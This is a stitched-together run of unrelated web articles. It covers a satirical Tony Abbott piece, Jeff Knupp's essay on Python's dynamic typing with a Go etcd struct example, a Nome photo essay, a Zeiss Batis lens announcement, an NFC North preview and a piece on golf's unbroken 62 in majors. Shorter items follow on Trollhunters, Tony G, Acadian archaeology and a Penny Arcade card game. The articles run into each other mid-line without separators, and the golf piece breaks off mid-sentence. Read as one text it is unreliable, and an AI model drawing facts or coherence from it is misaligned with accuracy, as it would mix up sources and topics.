He said everyone felt constrained by the expectations of these ethically-advanced countries. “They’re so annoying. All of these rules and procedures and guidelines and policies. They’d put us in a straightjacket if they could. But, let me guess, that’s a no-no too?”
Mr Abbott said he actually had a strong track record for upholding human rights. “I’ve got a wife and three daughters. Sorry, wrong talking point. My government has stopped the boats,” he said.
When asked his opinion on the UN’s claims of escalating violence in offshore detention centres, Mr Abbott said, “Like I said, we’ve stopped the boats”.
For more breaking stories, follow The Shovel on Facebook and Twitter or sign up for email updates at the bottom of this page.How Python Makes Working With Data More Difficult in the Long Run
Jeff Knupp Blocked Unblock Follow Following Nov 12, 2016
Before we begin, let’s be clear on terminology. When I refer to “working with data” in the context of software development I could mean one of two things:
Interactively working with data, with perhaps Jupyter (née IPython) or the live interpreter Writing, testing, reading, reviewing and maintaining programs that primarily manipulate data
In short: Python is awesome for interactive data analysis but terrible for writing long-lived programs dealing with complicated data structures.
The second definition is perhaps overly broad, but I’ll clarify in a minute. Before that, let me be the first to say that Python is an incredible language for interactively working with, or exploring, data. The ecosystem of third-party packages and tools that have sprung up around data manipulation, visualization, and data science in general has been nothing short of remarkable.
If working with interactive data is your nail, Python should be your hammer.
But what about that second interpretation? Actually, it can be thought of as a logical extension of the first. Imagine you’re writing a program to query a database for a search term, do some sentiment analysis, and return the results in JSON. Working interactively with the database results, the results returned by your sentiment analysis library, and the JSON you produce is the natural first step. You’re still in “exploration mode”. Not really writing the program yet, just seeing what the data looks like and how you’ll need to manipulate it.
Once you get a “feel” for the “shape” of the data at each step, you can begin to write your program. You’ll likely refer back to examples of the output you created during exploration when implementing the logic of your program. Particularly with deeply nested data structures (I’m looking at you, “everyone’s abuse of JSON…”), it’s often too difficult to keep the “shape” of the data at each stage in your head.
But Python makes working with data easy, so your program is finished in no time. It works, it’s well-documented, and even has 100% test coverage. If you never need to return to this code, huzzah! Your job is done.
Dynamic Typing Is The Root Of All Evil (j/k…kind of…)
The very property of Python that made your program so easy to write is the same one that will make it difficult to review, read, and (most importantly) maintain. Python’s dynamic type system means that, in most cases, you don’t have to enumerate the complete set of fields, types, and value constraints that define the data as it moves through your system. You can just jam it all in a dict! Heterogeneous values FTW!
The task above would be much more laborious and time-consuming in a statically typed language like C or Go. In Go, for example, to parse and return a JSON response from some web API, you first need to create a struct whose fields and field-types exactly match the structure of the response. Here is how one must prepare to work with a JSON response from etcd (taken from their client library):
type Response struct {
// Action is the name of the operation that occurred. Possible values
// include get, set, delete, update, create, compareAndSwap,
// compareAndDelete and expire.
Action string `json:"action"`
// Node represents the state of the relevant etcd Node.
Node *Node `json:"node"`
// PrevNode represents the previous state of the Node. PrevNode is non-nil
// only if the Node existed before the action occurred and the action
// caused a change to the Node.
PrevNode *Node `json:"prevNode"`
// Index holds the cluster-level index at the time the Response was generated.
// This index is not tied to the Node(s) contained in this Response.
Index uint64 `json:"-"`
}
type Node struct {
// Key represents the unique location of this Node (e.g. "/foo/bar").
Key string `json:"key"`
// Dir reports whether node describes a directory.
Dir bool `json:"dir,omitempty"`
// Value is the current data stored on this Node. If this Node
// is a directory, Value will be empty.
Value string `json:"value"`
// Nodes holds the children of this Node, only if this Node is a directory.
// This slice of will be arbitrarily deep (children, grandchildren, great-
// grandchildren, etc.) if a recursive Get or Watch request were made.
Nodes Nodes `json:"nodes"`
// CreatedIndex is the etcd index at-which this Node was created.
CreatedIndex uint64 `json:"createdIndex"`
// ModifiedIndex is the etcd index at-which this Node was last modified.
ModifiedIndex uint64 `json:"modifiedIndex"`
// Expiration is the server side expiration time of the key.
Expiration *time.Time `json:"expiration,omitempty"`
// TTL is the time to live of the key in second.
TTL int64 `json:"ttl,omitempty"`
}
The “ json:... " part after each field describes what that field's name should be when the object is marshaled from a JSON message. And notice that, because Response contains a nested object ( Node ), we must fully define that nested object as well.
Note: to be fair, there are some shortcuts one might take in Go to reduce the need for a portion of the above, but they’re rarely taken (and for good reason).
In Python, you’d be all like:
result = make_etcd_call("some", "arguments", "here")
If you wanted to see if the node in question was a directory, you'd pound this out:
if result.json()['node']['dir']:
# make magic happen...
And the Python version is less code and takes less time to write than the Go version.
“I Don’t See The Problem”
The Python version is better, right? Let’s consider two definitions of “good code” so we can be clear what we mean by better.
Code that is short, concise, and can be written quickly Code that is maintainable
If we’re using the first definition, the Python version is “better”. If we’re using the second, it’s far, far worse. The Go version, despite containing a boatload of boilerplate-ish definition code, makes clear the exact structure of the data we can expect in result.
Boss: “What can you tell me about the Python version, just by looking at our code above?”
Me: “Uh, it’s JSON and has a ‘node’ object which probably has a ‘dir’ field.”
Boss: “What type of value is in dir? Is it a boolean, a string, a nested object?”
Me: "Uh, I dunno. It's truthy, though!"
Boss: "So is everything else in Python. Is dir guaranteed to be part of the node object in the response?"
Me: "Uh...."
And I’ve met my “3-Uh” limit for describing what a portion of code does. If you refer to the Go version, you can answer those questions and sound like a damned genius in comparison.
But these are exactly the sort of questions your peers should be asking in a code review. The answers to the questions in the Go version are self-evident. The answers for the Python version, not so much…
Making Changes
What happens when we need to make a change to the Python version? Perhaps we want to say “only make magic happen if the directory was just created, not for every response with a directory?"
It’s pretty clear how to do that in the Go version. Compared to the Python version, the Go version is like the Library of Alexandria of etcd Response s. For the Python version, we have nothing local to refer to in order to figure out the structure of result and the change we need to make. We'll have to go look up the etcd HTTP API documentation. Let's hope that:
it exists
it is well maintained
the tubes aren’t clogged
And this is a very simple change we’re talking about on a very simple JSON object. I could tell horror stories about what happens when you get knee-deep in Elasticsearch JSON responses… (spoiler alert: response['hits_']['hits_']['hits_']... ).
The fun doesn't stop at just making the code change, though. Remember, we're professionals, so all of our code is peer reviewed and unit-tested. After updating the code correctly we can still barely reason about it. All of a sudden, we're back to that conversation between my boss and I where I say "Uh" a lot and he wonders why he didn't go into carpentry.
Everybody Panic!
I’ve painted a rather bleak picture of using Python to manipulate complex (and even not-so-complex) data structures in a maintainable way. In truth, however, it’s a shortcoming shared by most dynamic languages. In the second half of this article, I’ll describe what various people/companies are doing about it, from simple things like the movement towards “live data in the editor” all the way to the Dropboxian “type-annotate all the things”. In short, there’s a lot of interesting work going on in this space and lot’s of people are involved (notice the second presenter name in that Dropbox deck ).
Originally published at jeffknupp.com on November 13, 2016.
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If you enjoyed this story, we recommend reading our latest tech stories and trending tech stories. Until next time, don’t take the realities of the world for granted!Headed south on Nome-Council Road at midday as the city ends.
This article appears in The Photo Issue 2015
Photos by Alec Soth / Magnum Photos
In 2003, a 19-year-old Native American woman was found dead in an abandoned gold mine in Nome, Alaska. Two years later, Nome police officer Matthew Clay Owens was convicted of her murder. Soon after his arrest, I was sent to photograph Nome for a magazine that went out of business before my essay was published. The place has haunted me ever since. More than any other location I've been to in the US, Nome evokes a feeling of frontier rawness. When VICE asked me if there was a place I wanted to photograph, my first choice was to return to Nome.
Part of what attracts me to the city is that it is a home for outsiders. Nome mushroomed more than a century ago when three Scandinavians struck gold in a creek. Soon thousands of prospectors, sex workers, and other opportunists arrived. Natives from villages in the region also made their way to the "Sin City of the North." It is also a place where visitors seem to disappear. Some have attributed this to the work of a serial killer, perhaps Officer Owens. Others have speculated that this is the work of UFOs. In recent years, researchers have concluded that the disappearances are the result of harsh weather and rampant alcoholism.
The first thing that disappears in Nome, it seems to me, is the natural law and order of things. Well after midnight, while the treeless city hovers in an endless arctic sunset, small children roam around town and couples make rafts out of icebergs. Nearly every morning one can find a sad lost soul passed out on the seafront rocks, nearly dead from one of the countless bottles of Monarch Canadian whiskey that litter the beach. ("What's the favorite drink in Nome?" the joke goes. "Monarch on the rocks.")
As a photographer, I've never felt comfortable photographing outside my culture. When I've photographed in a place like Beijing or Bogotá, I've felt like an invader or a fraud. While Nome feels as exotic to me as any foreign city, I'm also aware that it is a deeply American place created by outsiders for outsiders. This isn't to say I ever once felt comfortable there. But it does feel like a place in which I could disappear.
Check out more work from Alec.
Floating house, also on Nome-Council Road. I made a photo of the same house way back during my first trip to Nome, and it was floating then. The deep freeze in winter keeps it exactly the way it is.
Eighty-two-year-old ivory carver James Omiak.
A gold miner, who calls himself Slope, in his backyard.
Brad’s gold.
Kids roaming around town.
Aiden and Lonnie in the Nome Recreation Center.
Tate and Dave from the band the Coler Family Experience at the Church of the Nazarene.
Emily Riedel, star of the reality television show Bering Sea Gold.
Joleen Oleson at the Arctic Native Brotherhood Club’s adult prom.
The Nome cemetery.0
A couple months ago, we showed you a first look at Guillermo del Toro’s DreamWorks Animation series, Trollhunters. The show “features a tale of two fantastical worlds set to collide in an epic saga. Set in the fictional suburb of Arcadia, our unlikely hero, Jim, and his two best friends make a startling discovery that beneath their hometown lies a hidden battle between good trolls and bad, the outcome of which will impact their lives forever.”
Today, the first casting has been announced for the show, and it’s got some strong names lined up. According to a press release, Anton Yelchin will voice Jim, Kelsey Grammer will voice “’Blinky,’ a kind-hearted troll who befriends Jim; and Ron Perlman provides the voice of ‘Bular,’ a sinister troll who targets Jim and his friends for battle.” Hopefully, we’ll get a look at how this is all coming together in the near future.
Here’s the press release. Trollhunters hits Netflix this December.Preorder links:
Zeiss Batis 85mm f/1.8 lens at Adorama (Click here), Bhphoto (Click here).
Zeiss Batis 25mm f/2.0 lens at Adorama (Click here), Bhphoto (Click here).
Lens shade for 85mm at Adorama (Click here), Bhphoto (Click here).
Lens shade for 25mm at Adorama (Click here), Bhphoto (Click here).
Amazing! Zeiss just announced a new lens line for Sony FE mount! it’s the autofocus BATIS line and the two first lenses will be the 25mm f/2.0 and 85mm f/1.8. Here is the press text:
The new ZEISS Batis 2/25 and 1.8/85 lenses are the first full-frame autofocus lenses with an OLED display for the mirrorless Sony α series and therefore the pioneers of a new era. As professional tools, they enable outstanding outcomes with optimal image performance, impressive contrast and maximum resolution down to the very last detail.
The innovative OLED display shows the distance of the focal plane from the camera system and the depth of fields, therefore ideally supporting creative image composition. For the demanding photographer, the OLED display is an absolute highlight – an innovation that is currently unparalleled in camera lenses. ZEISS Batis lenses are available in a wide-angle and portrait focal length and are the perfect match for the existing lenses offered for the system. The ZEISS Batis 2/25 and Batis 1.8/85 lenses will be available for purchase from July 2015 – place your order now!
Her eis the official trailer:
This from Zeiss:
ZEISS Batis 2/25:
The ZEISS Batis 2/25 wide-angle lens has ten lens elements in eight groups and draws on the ZEISS Distagon optical design. Four of the lens elements are aspheric on both sides and five are made from special types of glass. The aspheric lens design ensures consistently high image quality over the whole image field and a sharpness that extends right to the edges of the frame. The moderate 82 degree image angle combined with a minimum focusing distance of 0.2 meters makes this wide-angle lens the perfect choice for architecture and landscape photography and many other applications besides. It encourages the user to make creative use of depth of field which can often yield surprising results, particularly in close-up photography.
ZEISS Batis 1.8/85:
The ZEISS Batis 1.8/85 is a moderate tele lens which offers 11 lens elements in eight groups and features the ZEISS Sonnar optical design. The lens elements are made from special types of glass and designed to ensure superior image quality. The ZEISS Batis 1.8/85 is a particularly good choice for wedding photography and portrait shots, offering the high speed which provides plenty of creative scope to bring out the main subject. Thanks to its optical image stabilization, the ZEISS Batis 1.8/85 can capture outstanding images even under difficult, shifting light conditions.
“The Batis family of lenses is the first time we have launched autofocus lenses for Sony’s full- frame E-mount cameras which are ZEISS through and through – in other words exclusively developed and distributed by us,” says Dr. Michael Pollmann, Product Manager at ZEISS Camera Lenses. The Sony alpha full-frame E-mount system, which currently consists of the α7 family of cameras, is one of the most innovative camera systems on the market and is becoming an increasingly popular choice for professionals and people considering switching from DSLRs. “The ZEISS Batis lenses are our way of acknowledging this trend and providing creative and ambitious photographers with the expert tools they need,” says Pollmann. The lenses are easy to use yet offer professional performance, so they are a sound investment for amateur photographers, too: “Camera sensors are constantly evolving, and so are photographers. Our Batis lenses are the perfect answer to these changing trends and herald a new era of professional photographers using mirrorless full-frame cameras,” says Pollmann.
The ZEISS Batis 2/25 and ZEISS Batis 1.8/85 lenses offer an initial choice of two focal lengths which have proved to be the most popular among users of the system: a moderate wide-angle focal length and a tele portrait focal length. The lenses make optimal use of the camera sensors, capturing every last detail with impressive contrast and high resolution. As well as offering fast and reliable autofocus, the lenses also support manual focusing, allowing users to choose the best option for each individual situation. The sleek, modern design – with smooth surfaces reminiscent of the high-end ZEISS Otus lenses – emphasizes the superior quality of this new lens family and gives the Batis lenses an unmistakable look and feel.
Preorder links:
Zeiss Batis 85mm f/1.8 lens at Adorama (Click here), Bhphoto (Click here).
Zeiss Batis 25mm f/2.0 lens at Adorama (Click here), Bhphoto (Click here).
Lens shade for 85mm at Adorama (Click here), Bhphoto (Click here).
Lens shade for 25mm at Adorama (Click here), Bhphoto (Click here).Minnesota has a gleaming new stadium. The Vikings are division champions for the first time in six years. Now they’re reeling from the loss of quarterback Teddy Bridgewater, likely for the entire season.
The headlines around the division sure have a purple shade.
There’s still plenty of green, or rather Green Bay, left to repaint the NFC North horizon.
More Packers coverage on FOX Sports Wisconsin
Aaron Rodgers and the proud Packers have wide receiver Jordy Nelson back from the right ACL injury that kept him from playing in 2015, aiming for repossession of the title.
Rodgers came back leaner after some dietary changes, recharged for another run at a Super Bowl trophy he’s touched once — five-plus years ago.
"My 12th season, all with the same team, it’s exciting," said Rodgers, who will turn 33 on Dec. 2. "It actually gets a little sweeter I think every single year."
Dethroning the Vikings would sure be delicious. Fittingly, the Packers will be Minnesota’s opponent on Sept. 18 for their regular-season opener at U.S. Bank Stadium in front of a crowd of 66,000 and a Sunday night national TV audience.
Bridgewater, who suffered a significant injury to his left knee in practice on Tuesday, will probably be relegated to inspirational pregame speaker for that one.
"We’re not looking for excuses. We’re going to go out and fight like we always do," Vikings coach Mike Zimmer said after Bridgewater was hurt. "Everybody can count us out if they want, but I think that would be the wrong thing to do."
Keeping up with Minnesota and Green Bay will be a challenge for Detroit and Chicago, with the Lions trying to avoid replicating that 1-7 start in 2015 and the Bears burdened by a five-year absence from the playoffs.
Here’s a quick glance around the NFC North as this Great Lakes states quartet gets ready for the regular season:
UNDER COVER
The Vikings have moved back inside after a two-year stint at the University of Minnesota while their $1.1 billion, ship-shaped, see-through venue was being built. The gawking will go on all season, with the translucent, space-age roof and the ground-to-ceiling glass on the front side giving the enclosed stadium an outdoor feel.
The controlled climate ought to help a passing game that has lagged near the bottom of the league, but losing Bridgewater sure won’t. Fifteen-year veteran Shaun Hill will step in for now, aided by the additions this season of left guard Alex Boone and wide receiver Laquon Treadwell.
DIGGING IN
To take back the division title they’ve won eight times in 14 years, the Packers need some improvement on defense. Linebacker Clay Matthews has moved back outside to his natural position, after a solid performance playing inside to fill in.
That has put the spotlight once again on the men in the middle, a position that has often been in flux during the past decade under coach Mike McCarthy.
Jake Ryan and Sam Barrington are the expected starters for now. Ryan cracked the starting lineup down the stretch as a rookie fourth-round draft pick, and Barrington has been working his way back from a foot injury that cost him most of the season. The Packers ranked 21st and 23rd in yards rushing allowed in the NFL the past two years.
AIR BEARS
Alshon Jeffery was the only player who topped 500 yards receiving for the Bears last season, and calf, hamstring, groin and shoulder problems limited him to nine games. The seventh pick in the 2015 draft, Kevin White, missed his rookie season because of a stress fracture in his left shin. That left Jay Cutler without much to work with in the passing game.
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With stalwart running back Matt Forte and talented tight end Martellus Bennett gone, there’ll be even more onus on Jeffery and White to not only stay healthy but produce like a top-flight tandem. Jeremy Langford will be the featured runner, now that Forte has joined the New York Jets.
GETTING GROUNDED
Detroit’s replacement of Calvin Johnson, following the star wide receiver’s surprise retirement at age 30, will be under scrutiny all fall. Newcomers Marvin Jones, Anquan Boldin and Andre Roberts, who have 25 seasons of experience in the league between them, are getting settled with quarterback Matthew Stafford to supplement Golden Tate.
Running back Ameer Abdullah, along with third-down standout Theo Riddick, is really the one to watch, though. The Lions ranked last in the league in rushing yards last season when Abdullah was a rookie. Offensive coordinator Jim Bob Cooter, under whom Stafford thrived after a midseason change, has been tasked with establishing better balance.
PREDICTED ORDER OF FINISH
Packers, Vikings, Lions, Bears.Thirty-five years ago, on June 12, 1980, to be precise, Jack Nicklaus was chasing major-championship history. Playing the opening round of the U.S. Open at Baltusrol Golf Club, he needed only convert a short birdie attempt on the par-5 closing hole to shoot the first 62 in a major.
He missed.
When he's asked three-and-a-half decades later to explain why the 63 barrier hasn't been broken, the Golden Bear simply looks inward: "Why do I think it hasn't? Because I missed a 2-foot putt at Baltusrol to break it. I choked."
Jack Nicklaus shot his 63 in the first round of the 1980 U.S. Open. It was only good enough to share the lead with Tom Weiskopf, who matched the number at Baltusrol Golf Club. Edward A. Hausner/New York Times Co./Getty Images
Nick Price isn't as remorseful. His putt for a 62 on the final hole of the third round of the 1986 Masters -- from between 22 and 26 feet, he estimates now -- touched every part of the cup before mysteriously, inexplicably, failing to drop.
If he has one regret from that day, though, which might have kept him from solely owning a piece of golf history, it isn't that final birdie putt.
"I wish I hadn't bogeyed the first hole," he said. "But who knows? That may have gotten my tail up to shoot 63."
Tiger Woods can sympathize. In the second round of the 2007 PGA Championship, his birdie attempt on the final hole for that elusive 62 was halfway down before popping back out. The scene resembled something straight out of "Caddyshack" -- you could almost picture a furry gopher protecting his home by shooing the ball away.
When asked to describe why neither he nor any other golfer has been able to clear this hurdle, Woods doesn't point to imaginary gophers or golf gods or the mythical, mystical wizardry of the game.
"It's a major championship," he said. "They're supposed to be hard."
Since the first Open Championship in 1860, there have been a total of 434 editions of the four annual majors as we know them today.
In the modern era, starting in 1934 with the advent of the Masters Tournament, that number is 313. Add them up and (excluding the 23 years of match play at the PGA Championship through 1957) there have been 1,160 rounds.
That's 107,105 individual player rounds during this 82-year period.
Twenty-six times, someone has posted a round of 63.
Never has anyone fared better.
Shooting 59 has long been considered golf's magic number, but that barrier has been crossed a half-dozen times on the PGA Tour, once on the LPGA and ad nauseum in semi-professional and casual rounds around the world, with varying degrees of believability.
The real magic number is 62 in a major -- so magical that it's never happened.
"It's like the four-minute mile," said Tom Weiskopf, who shot his 63 two groups ahead of Nicklaus in the 1980 U.S. Open.
Much like Roger Bannister's history-maker, Weiskopf and many others believe a 62 is not only inevitable, but will open the floodgates for copycats.
More on that later. First, a little history lesson.
Twenty-four different players have shot 63 in a major. The only two to do it twice? Greg Norman at the 1986 Open (which he famously won) and the 1996 Masters (which he famously didn't), and Vijay Singh at the 1993 PGA Championship and 2003 U.S. Open (neither of which he won).
Norman's round stands as one of only two 63s at the Masters; there have been four at the U.S. Open; eight at The Open; and 12 -- nearly half of them -- at the PGA Championship.
Seven have taken place in an opening round; 10 in a second round; five in a third round; and just four in the final round of a major.
Eight players finished outside the top 10 during a week they posted 63; of the 18 who did record a top-10 result, five finished runner-up. Only six players who shot 63 eventually won that week's major.
In the Venn diagram of champions and rounds, there is a lone figure who tallied his 63 on a Sunday to win -- and it just happened to be the first one. If you've watched televised golf over the past few decades, then you've probably heard about it, because Johnny Miller has never shied away from the topic.
"It's the standard by which final rounds are measured; there has never been a final round better than that one," Miller once said about his last 18 holes at Oakmont in the 1973 U.S. Open.
OK, so he's probably said it more than once.
The first 63 in major championship history came from Johnny Miller at Oakmont in 1973 in the U.S. Open. The year's second major returns to that venue in 2016. AP Photo
The first to equal this feat of shooting 63 was Bruce Crampton, a good-but-not-great player who owned four runner-up major results, but never won. It started an arbitrary pattern. Shooting 63 in a major hasn't solely been the domain of legends. For every Nicklaus, there's been a Jodie Mudd; for every Woods, there's been a Michael Bradley.
"It's kind of neat to be in that company, but I would give that up to have their careers," said Bradley. "Those guys are the greatest to ever play the game."
Even the greatest have been rendered mortal when it comes to going low at a major. Never has anyone posted a 10-under round on a par-72 course, a 9-under round on a par-71 or an 8-under round on a par-70.
Theories abound as to why -- and some include a nod toward the supernatural.
"It makes you believe in the golf gods," said Brad Faxon, who posted his 63 in the final round of the 1995 PGA Championship.
Weiskopf agreed. "I'm a superstitious guy," he said. "I believe in that mystical bulls---."
Others are more pragmatic in their observations.
"Not only are the courses as difficult as any we play all year," said Steve Stricker, who shot 63 in the opening round of the 2011 PGA Championship, "I think there is that barrier when coming down the stretch, that you know no one has ever done it. That adds to it."
"It's more difficult as the round goes on," Bradley said. "There's more at stake. Traditionally the tougher holes are later in the rounds and not giving up the birdies. You rarely see rounds where a guy was 1-under through eight and goes on a tear on the back nine."
Even Faxon, believer in those merciless golf gods, understands this rationale.
"The obvious theory is that the golf courses are set up much more difficult at a major," he said. "There are pressures in majors more than a regular tournament -- and now, people think about it. You don't go into a U.S. Open thinking, 'I can go shoot 62.' You're just thinking about how tough the course is. Your mindset is that par is a good number."
How much did Brad Faxon want to break that 63 barrier and become the first golfer in major championship history to post a 62? His reaction during the final round at Riviera Country Club in 1995 says it all. David Cannon/Getty Images
Most members of Club 63 interviewed for this story insist that their record-tying low round at a major remains one of the most memorable and satisfying days of their career.
Faxon takes it one step further.
"I love talking about it," he said, "because it was probably the most meaningful round I ever played."
Twenty years ago this week, Faxon entered the final round not only in a share of 20th place, but outside the top 10 on the Ryder Cup points list, with the automatic berths to be determined at day's end. Before the round, noted sports psychologist Bob Rotella, who was working with him at the time, left him with these parting words: "Give yourself a chance."
Faxon eagled the par-5 opening hole, birdied the third, fifth, sixth and seventh, then rolled in a 20-footer on the ninth to post a front-nine 28.
"When I made it, everyone started yelling, 'Fifty-nine!'" he said. "That's when you get excited, that's when you get nervous."
By the end of the round, he'd missed a pair of 5-foot birdie putts, but a 15-footer on the closing hole clinched the 63, giving him a solo fifth-place finish and a spot on the Ryder Cup roster.
"After the round, [playing partner] Jose Maria Olazabal hugged me," he said. "I don't think he's a hugging kind of guy, but he saw me play the round of my life."
The Old Course at St. Andrews is affectionately known as "The Home of Golf." Its tradition steeped in centuries of competition, the venerable links has hosted The Open a record 29 times, making it the second-most popular major venue behind Augusta National.
Only twice on those 29 occasions has the Old Course yielded a 63. Once was five years ago, when a 21-year-old wunderkind named Rory McIlroy overpowered the course during a wind-free opening round. The other time was in 1990, when Paul Broadhurst, who would win eight professional tournaments in his career and never record a top-10 result in a major, posted a brilliant Saturday score.
"I can remember most things about my 63: Teeing off at 10 a.m. with David Graham in front of a few spectators and finishing the final few holes in front of thousands; birdies at 1 and 3 and then six [in a row] from 5 to 10 to be 8 under after 10 holes," said Broadhurst, who would finish T-12 that week. "From there, I had seven straight pars until 18, where I hit a sand wedge to 18 inches and tapped in for my ninth birdie and the 63. Such a special moment to do that at The Home of Golf, in front of a packed grandstand on the 18th.
"Graham shot 69 and commented to me afterwards that he felt like he'd shot 80. Praise, indeed."
When it comes to getting overshadowed, Weiskopf might own the record.
His 63 didn't just tie for the low score of that day, he tied with a global icon who would later that week capture his 16th career professional major.
Just like Nicklaus did on the same day, though, Weiskopf stumbled late in his round.
"Someone said, 'If you just make birdie on one of those two par-5s, you'll shoot 62,'" Weiskopf said of the quirky Baltusrol closing holes. "But 17 wasn't reachable for me and 18 you had to lay up off the tee if you had any golf intelligence, then you'd have a chance to reach it with a strong 3-wood uphill to a small green that was well-bunkered."
Instead, he made par on each of those final holes -- exclusively holding low round of the day honors for about 20 minutes.
Not that he'd considered any historical ramifications while on the course.
"I didn't think about 62 ever," he said. "Or even 63, to tell the truth. I was just trying to play golf."
Over and over, 26 times now, players have spoken similar words. Some, like Nicklaus, believe they could have -- or maybe should have -- fared better; others consider it flawless, the greatest round of their lives.
Not a single one, though, has admitted to setting a super-low target score and trying to reach it.
"Maybe that's what it takes," said Weiskopf. "Someone who says, 'I'm going to do it. I'm in position to be that first person and I'm going to do it.'"
When asked whether this barrier, one which has stood for 155 years, 434 majors and thousands upon thousands of rounds, will ever be surpassed, one word serves as the popular response.
"I think it's inevitable that a 62 will happen eventually," Broadhurst said.
"It's inevitable," said Weiskopf. "Records are made to be broken."
"Yes, it's inevitable," said Bradley. "These young kids have too much power; they're too good."
The era of longball hitters dialed into superior technology will inevitably -- there's that word again -- result in a player on a calm day, perhaps playing a shorter par-70 track, finally reaching golf's real magic number.
This story likely won't end, though, when the first 62 is posted to a major scorecard.
"I wouldn't be surprised if someone goes right past 62 and straight to 61," Price said. "It's just a matter of time, as far as I'm concerned."
When it does, it just might signify the end of an era -- an era of 155 years and counting during which golf wasn't easy, when the greatest legends on the greatest courses in the greatest tournaments could never muster better than a |
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Peripherals, Promotions, Commercials, Brochures, Etc. Sega Mark III \ Master System Television Commercials Sega Mark III \ Master System AdvertisementsTony G Challenges Canadian PM to a Game of Poker
Pete - Thursday, December 17, 2015, Written by- Thursday, December 17, 2015, Live poker
Canada's suave Prime Minister Justin Trudeau was left red-faced recently when he took a 60 second challenge for Canadian news & current affairs publisher macleans.ca when his answer to the question, "What's your favourite Baltic country" was the rather unfortunate, "that's not a thing". In response to his gaffe Lithuanian poker player and entrepreneur turned MEP Antanas "Tony G" Guoga challenged him to a game of poker - promising to take "everything you've got."
Tony G's tongue-in-cheek offer to Trudeau was made as he stood alongside several fellow Baltic MEP's from Estonia, Latvia, and LIthuania who wanted to wish the Canadian PM a Merry Christmas and educate him as to the whereabouts and achievements of their home countries.
Trudeau has since claimed that his answer was misinterpreted. He is insisting that his intention was to say that choosing one's favourite Baltic nation "should not be a thing", and that he was aware of the Baltic nations as he had previously dated a woman from one of those countries. Trudeau, according to New Europe said that he "decided that no good could come from answering the question with reference to any specific country. So he declined as diplomatically as he could."
Watching the video back, we're not sure we're convinced of Trudeau's "explanation" - judge for yourself, see the video here
You can also see Tony G's offer to crush Trudeau at the felt below:For 15 years, archeologists have been searching for what remains of a 17th century Acadian parish church in Grand Pré.
And by using modern archeological techniques, including equipment that searches for the "magnetic footprint" of a building, researchers believe they are getting closer to the site of the long-ago destroyed church.
The research is lead by Jonathan Fowler, the president of the Nova Scotia Archeology Society and an associate professor in anthropology at Saint Mary's University.
The Grand Pré National Historic Site memorial church, built in the 1920s, was thought by its builders to sit on the ruins of the original.
Fowler and his team are testing that theory by analysing the soil on the site. In addition to digging up physical artifacts, the team uses electromagnetic sensing equipment (the EM38B), which measures the ability of the soil to conduct a magnetic force.
Clay wall fill (daub), hardened by fire, was detected by electromagnetic sensing equipment. It is likely from the remains of an Acadian building from the pre-deportation period. (Jonathan Fowler)
The device was developed by retired geophysicist Duncan McNeill, who volunteers at the site. Soil, he says, "can, to an extent can be magnetized." Which means a building that burned many years ago can still leave traces.
"Burning soil increases this magnetic property of the soil, and soils which might not have been detectable before being burnt can often be seen after the event," he says.
"Our surveys in the Grand Pré area suggest that, yes, indeed there is evidence of burning and we're picking it up geophysically."
Search for Acadian villages
As well as the church, the team is looking for evidence of Acadian villages that once stood in the area. Fowler says there were approximately 3,000 Acadians who lived in the area before 1755.
"Piece by piece we'll put it together," he says. "And in each new piece we add gives more context and more meaning to the next piece.
"Overall, the intention is to try to map this destroyed community. There were about 30 villages in that area in 1755. Not just in the national historic site, but in the broader landscape. We know where almost none of those are. Very little work has been done."
McNeill, who has been volunteering at the site for 15 years, says the work is "extremely exciting".
"It looks like we're actually finding the real locations of where these buildings are and thus are able to learn more about the occupants by virtue of doing the archeology," he says.
"It's a very, very exciting thing to help elucidate the past. There's much to be learn of that site. And bit by bit we hope to put together a useful picture of how the Acadians lived."
Fowler says there's a science dimension, but also a "heritage dimension and a value to knowing where these things were and being at a place where important historical events took place. It's a powerful thing."An upcoming card game based on popular webcomic Penny Arcade will play a lot like Magic: The Gathering. Except rather than casting spells or creatures, players will pull pranks and — occasionally — kick their opponents in the groin.
Fantasy Flight Games' Penny Arcade: The Card Game is a two-player, head-to-head game created with plenty of input from the self-referential webcomic's creators, illustrator Mike Krahulik and writer Jerry Holkins (aka Gabe and Tycho).
The duo have leveraged their popular, videogame-themed web comic into a small empire. On top of traditional merchandising like T-shirts and videogames, the Penny Arcade brand has expanded to include Penny Arcade Expo (a massive annual gaming convention held in Seattle) and Greenhouse, a platform for the digital distribution of games. Now they're planting a flag in the realm of table-top gaming by letting fans step into the skins of their alter egos Gabe and Tycho.
Holkins says players who opt to role-play as his alter ego, Tycho, will find themselves on the "winningest faction."
But James Hata, the designer of the new game, would probably politely disagree with Tycho's boast. In advance of this weekend's Gen Con Indy convention in Indianapolis, where Fantasy Flight will be demoing the new card game, Wired.com spoke to the gamemaker about capturing the comic strip's humor, balancing the gameplay between the Gabe and Tycho card decks, and steering clear of the addictive, collectible format that keeps so many players going back to game shops.
Wired.com: What was your approach to making Penny Arcade come to life in a card game? How do you capture humor in a two-player duel?
James Hata: I first had to come up with a rules system that was not only intuitive but also flavorful to the Penny Arcade world. This eventually became the [game's] Strength and Intellect system, where basically the majority of the cards a character can play during a turn are dictated by the amount of Strength or Intellect he has available to pay for it. This correlated well with our intrepid duo, because Tycho places a higher emphasis on Intellect and Gabe places an emphasis on Strength.
Afterwards, it became all about blending the flavor and wacky parts inspired from the comic with this system. In order to capture the humor from the comic, we used card names, art, flavor text and wackier abilities inspired from the webcomic. The guys from Penny Arcade supplied the card names, art and flavor text, and I provided the abilities and game mechanics.
Wired.com: Talk a little about what it will be like to play Penny Arcade: The Card Game. What's the closest example?
Hata: Penny Arcade is a quick, brutal and fun game. It's like combining the intensity and feel of a [collectible card game] with the accessibility and ease of use that fans have come to expect from our Silver Line Games. Penny Arcade is largely about risk management and throwing out a lot of attacks, trying to pass your opponent's defenses while keeping just enough blocks to survive your opponent's onslaught. Add in some wacky abilities into the mix, and you got the basics of Penny Arcade.
Wired.com: How much of the comic strip's trademark flavor can fans of Penny Arcade expect to find in the game? Just how bawdy will things get?
Hata: Well, we don't get as bawdy as they do in our releases. We have a 13-plus age range on the game. Div is there, and his quote is about getting drunk, but without any swearing. We do feature a certain, shall we say, aficionado of, in the Latin, Citrus sinensis. But his name is Q*bert-ized.
Wired.com: How involved were Gabe and Tycho in the creation of the game?
Hata: Gabe and Tycho provided us with card names, art and flavor text for the cards. We also sent them prototypes as the game went through its various iterations, and they offered suggestions that we adapted to our final product.
Wired.com: What's your take on how to express the attitude of Penny Arcade in a card game?
